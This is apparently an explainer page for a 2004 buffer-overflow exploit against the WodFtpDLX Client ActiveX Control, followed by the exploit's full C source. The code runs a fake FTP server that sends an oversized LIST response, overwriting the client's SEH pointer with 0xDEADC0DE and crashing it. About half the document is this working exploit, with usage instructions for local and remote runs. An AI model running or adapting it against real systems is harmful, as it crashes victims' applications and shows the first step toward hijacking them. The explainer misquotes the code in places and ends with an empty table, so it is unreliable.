WodFtpDLX Client ActiveX Control Buffer Overflow Crash Explained

WodFtpDLX Client ActiveX Control Buffer Overflow Crash Explained
What this paper is
This paper details a buffer overflow vulnerability in the WodFtpDLX Client ActiveX Control. The exploit, created by Komrade, targets specific versions of the WodFtpDLX.ocx file. When an application using this ActiveX control attempts to connect to a specially crafted FTP server set up by the exploit, it triggers a crash. This crash occurs because the control tries to access an invalid memory address, 0xDEADCODE. The exploit can be run locally or remotely.
Simple technical breakdown
The exploit works by setting up a fake FTP server on the victim's machine. When an application using the vulnerable WodFtpDLX ActiveX control tries to connect to this fake server (e.g., to list files), the server sends back a malformed response. This response is much larger than the buffer allocated within the ActiveX control to store it. This overflow overwrites adjacent memory, including a pointer that the control uses to handle exceptions. By overwriting this pointer with a specific address (0xDEADCODE), the control is tricked into jumping to that invalid location when an error occurs, leading to a crash.
Complete code and payload walkthrough
The provided C code implements the exploit. It consists of a main function and a separate thread function fileList.
main function
This function sets up the fake FTP server, handles command-line arguments, and orchestrates the interaction with the vulnerable ActiveX control.
Includes and Definitions:
stdio.h,string.h,windows.h,winsock.h: Standard C and Windows Sockets library includes.#define FTP_PORT 21: Defines the standard FTP control port.#define PASV_PORT 1106: Defines a custom port for the passive data connection.int wait = TRUE;: A global flag used to synchronize the main thread and thefileListthread.
fileListfunction declaration:DWORD WINAPI fileList(LPVOID data);: Declares the thread function that will handle the data connection.
mainfunction signature:int main(int argc, char **argv): Standard C main function, accepting command-line arguments.
Variable Declarations:
SOCKET sock, client;: Sockets for the main FTP control connection.struct sockaddr_in sock_addr, client_addr;: Structures for socket addresses.WSADATA data;: Structure for Windows Sockets initialization.WORD p;: Used forWSAStartup.char mess[4096], received[512], addr[32];: Buffers for sending messages, receiving data, and storing IP address parts.int lun, n, i, err;: Loop counters, lengths, and error codes.HANDLE fileListH;: Handle for thefileListthread.DWORD fileListId, exitCode;: Thread ID and exit code.
Banner and Usage Information:
printf(...): Prints the exploit's title, author, and contact information.- Argument parsing (
if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-l") != 0)))): Checks if the correct number of arguments and options (-lfor local,-r <server IP>for remote) are provided. If not, it prints usage instructions and exits.
Remote IP Address Parsing (if
-ris used):if(strcmp(argv[1], "-r") == 0): If the-roption is used.char *token[4];: Array to hold parts of the IP address.token[0]=strtok(argv[2], "."); ...:strtokis used to split the provided IP address by dots.strcpy(addr, "\0"); ... strcat(addr, ",");: The IP address parts are reconstructed with commas, e.g., "10,0,0,1,". This format is used by the FTP protocol for PASV command responses.else strcpy(addr, "127,0,0,1,");: If-lis used, the IP address defaults to "127,0,0,1," (localhost).
Windows Sockets Initialization:
p = MAKEWORD(2, 0);: Creates aWORDrepresenting Winsock version 2.0.WSAStartup(p, &data);: Initializes the Winsock library.
FTP Server Setup:
sock=socket(PF_INET,SOCK_STREAM,0);: Creates a TCP socket.sock_addr.sin_family=AF_INET; sock_addr.sin_port=htons(FTP_PORT); sock_addr.sin_addr.s_addr=INADDR_ANY;: Configures the server address to listen on any interface on the standard FTP port (21).bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));: Binds the socket to the configured address and port.listen(sock,1);: Puts the socket into listening mode, allowing up to 1 pending connection.client = accept(sock, (struct sockaddr*)&client_addr, &lun);: Accepts an incoming connection from the client (the application using the ActiveX control).
Initial FTP Greeting:
strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit\r\n");: Prepares a custom FTP greeting message.send(client, mess, strlen(mess), 0);: Sends the greeting to the client.
Main FTP Command Loop:
while(wait == TRUE): The loop continues as long as thewaitflag is true, meaning thefileListthread hasn't finished its job.Sleep(800);: Pauses briefly to avoid busy-waiting.n = recv(client, received, sizeof(mess), 0);: Receives a command from the client.received[n]=0; printf("CLIENT: %s", received);: Null-terminates the received buffer and prints it for debugging.- Command Handling: A series of
if-else ifstatements parse common FTP commands:USER: Responds with "331 Anonymous access allowed, send password."PASS: Responds with "230 Anonymous user logged in."PWD: Responds with "257 "/" is current directory."CWD: Responds with "257 "/" is current directory."TYPE: Responds with "200 Type set to A."PASV: This is the critical command.fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);: Creates a new thread to run thefileListfunction. This thread will handle the passive data connection.wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);: Constructs thePASVresponse. It includes the IP address (parsed earlier) and a port number (4,82, which translates to 1106 in network byte order). Theaddrvariable is formatted like "10,0,0,1," or "127,0,0,1,". The4,82part is hardcoded for the passive data connection port.
LIST(orLIST\r\n): This command triggers the exploit.strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");: Sends a preliminary response.wait = FALSE;: Sets thewaitflag to false, signaling thefileListthread to proceed with sending the malicious payload.do { GetExitCodeThread(fileListH, &exitCode); Sleep(100); } while(exitCode == STILL_ACTIVE);: The main thread waits here until thefileListthread has completed its execution.printf("< Long file name sent to client >\r\n\r\n");: Informs the user that the exploit data has been sent.strcpy(mess, "226 Transfer complete.\r\n");: Sends the final transfer completion message.
- Other commands: Respond with "550 Unimplemented".
send(client, mess, strlen(mess), 0);: Sends the constructed server response back to the client.
Exploit Completion:
printf("Wait......."); Sleep(2000); printf("Exploit succesfully sent!\r\n");: Indicates the exploit has finished.closesocket (client); closesocket(sock);: Closes the sockets.WSACleanup();: Cleans up Winsock.return 0;: Exits the program.
fileList function
This function runs in a separate thread and is responsible for establishing the passive data connection and sending the malformed data that causes the buffer overflow.
SEHAddrDefinition:char SEHAddr[] = "\xDE\xC0\xAD\xDE";: This is the crucial part of the payload.0xDEADDEis the address that the vulnerable ActiveX control will attempt to jump to when an exception occurs due to the overflow. This specific value is chosen to cause a crash.
Variable Declarations:
SOCKET sock, client, list;: Sockets for the passive data connection.sockis the listening socket,clientis the accepted connection.struct sockaddr_in sock_addr,client_addr;: Socket address structures.WSADATA wData; WORD p;: Winsock initialization variables.char mess[4096];: Buffer for the malicious payload.int lun, n, i, err;: Loop counters, lengths, and error codes.
Winsock Initialization:
- Similar to
main, initializes Winsock.
- Similar to
Passive Data Server Setup:
sock=socket(PF_INET,SOCK_STREAM,0);: Creates a TCP socket for the data connection.sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(PASV_PORT); sock_addr.sin_addr.s_addr=INADDR_ANY;: Configures the server to listen on any interface on port 1106.bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));: Binds the socket.listen(sock,1);: Puts the socket in listening mode.client = accept(sock, (struct sockaddr*)&client_addr, &lun);: Accepts the data connection from the client.
Synchronization and Payload Construction:
while (wait == TRUE) Sleep(100);: The thread waits here until themainthread setswaittoFALSEafter receiving theLISTcommand. This ensures the payload is only sent when requested by theLISTcommand.strcpy(mess, "03-04-81 12:00PM 3 ");: Starts the payload with a string that resembles a directory listing entry. The date and time are arbitrary.for(i=strlen(mess); i<1083; i++) mess[i]='a';: Fills themessbuffer with 'a' characters until it reaches a length of 1083. This is the first part of the overflow.mess[i]='\0';: Null-terminates the string.strcat(mess, SEHAddr);: Appends theSEHAddr(\xDE\xC0\xAD\xDE) to the buffer. This overwrites the Structured Exception Handler (SEH) pointer.for(i=strlen(mess); i<1300; i++) mess[i]='b';: Fills the rest of the buffer with 'b' characters up to a total length of approximately 1300 bytes. This part of the buffer is not directly critical for the crash but ensures the buffer is sufficiently large to cause the overflow and overwrite subsequent memory.mess[i]='\0';: Null-terminates the buffer.strcat(mess, "\r\n");: Appends the carriage return and newline characters, which are expected by FTP clients.
Sending the Malicious Payload:
n = send(client, mess, strlen(mess), 0);: Sends the constructed, oversized buffer containing theSEHAddrto the client. This is the trigger for the buffer overflow.
Cleanup:
closesocket(sock); closesocket(client); WSACleanup();: Closes the data connection sockets and cleans up Winsock.return 0;: Exits the thread.
Mapping of code fragments to practical purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/************************************************************************************
WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on WodFtpDLX.ocx versions 2.3.2.90 - 2.3.0.0 - 2.2.0.1
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an application that uses the WodFtpDLX.ocx ActiveX Control.
After the exploit is sent the application will crash, trying to access
to a bad memory address: 0xDEADCODE.
This exploit can be executed locally or remotely.
Usage: wodftpcrash [-l] [-r server IP]
Options:
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:\> wodftpcrash -l <- executed locally
C:\> wodftpCrash -r 10.0.0.1 <- executed remotely
***************************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define FTP_PORT 21
#define PASV_PORT 1106
int wait = TRUE;
DWORD WINAPI fileList(LPVOID data);
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
printf("------------------------------------------------------------------------------\r\n");
printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit\r\n");
printf("\t\t\tcreated by Komrade\r\n\r\n");
printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
printf("\t\tweb: http://unsecure.altervista.org\r\n");
printf("------------------------------------------------------------------------------\r\n\r\n");
if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){
printf("Usage: WodFtpCrash [-l] [-r server IP]\r\n\r\n");
printf("Options:\r\n");
printf(" -l\t\texecuted locally.\r\n");
printf(" -r server IP\texecuted remotely. You need to specify the address of the\r\n");
printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n");
printf("\r\nExamples:\r\n");
printf(" wodftpcrash -l\t\t\texecuted locally\r\n");
printf(" wodftpCrash -r 10.0.0.1\texecuted remotely\r\n");
return 0;
}
if(strcmp(argv[1], "-r") == 0){
char *token[4];
token[0]=strtok(argv[2], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "\0");
for(i=0; (i < 4) && (token[i]!= NULL); i++){
strlcat(addr, token[i], 16);
strcat(addr, ",");
}
}
else
strcpy(addr, "127,0,0,1,");
p = MAKEWORD(2, 0);
WSAStartup(p, &data);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(FTP_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen()\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));
strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit\r\n");
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
while(wait == TRUE){
Sleep(800);
n = recv(client, received, sizeof(mess), 0);
if (n < 0){
printf("Error in recv()\r\n");
return -1;
}
received[n]=0;
printf("CLIENT: %s", received);
if (stricmp("USER", strtok(received, " ")) == 0)
strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
if (fileListH == NULL)
printf("Error in CreateThread() %d", GetLastError());
wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
printf("SERVER: %s\r\n", mess);
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
wait = FALSE;
do{
GetExitCodeThread(fileListH, &exitCode);
Sleep(100);
}
while(exitCode == STILL_ACTIVE);
printf("< Long file name sent to client >\r\n\r\n");
strcpy(mess, "226 Transfer complete.\r\n");
}
else
strcpy(mess, "550 Unimplemented\r\n");
printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
}
printf("Wait.......");
Sleep(2000);
printf("Exploit succesfully sent!\r\n");
closesocket (client);
closesocket(sock);
WSACleanup();
return 0;
}
DWORD WINAPI fileList(LPVOID data){
char SEHAddr[] = "\xDE\xC0\xAD\xDE"; //this will be the new SEH address
SOCKET sock, client, list;
struct sockaddr_in sock_addr,client_addr;
WSADATA wData;
WORD p;
char mess[4096];
int lun, n, i, err;
p = MAKEWORD(2, 0);
WSAStartup(p, &wData);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(PASV_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen().\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
while (wait == TRUE)
Sleep(100);
strcpy(mess, "03-04-81 12:00PM 3 ");
for(i=strlen(mess); i<1083; i++)
mess[i]='a';
mess[i]='\0';
strcat(mess, SEHAddr);
for(i=strlen(mess); i<1300; i++) // cause the exception
mess[i]='b';
mess[i]='\0';
strcat(mess, "\r\n");
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
closesocket(sock);
closesocket(client);
WSACleanup();
return 0;
}
// milw0rm.com [2004-11-22]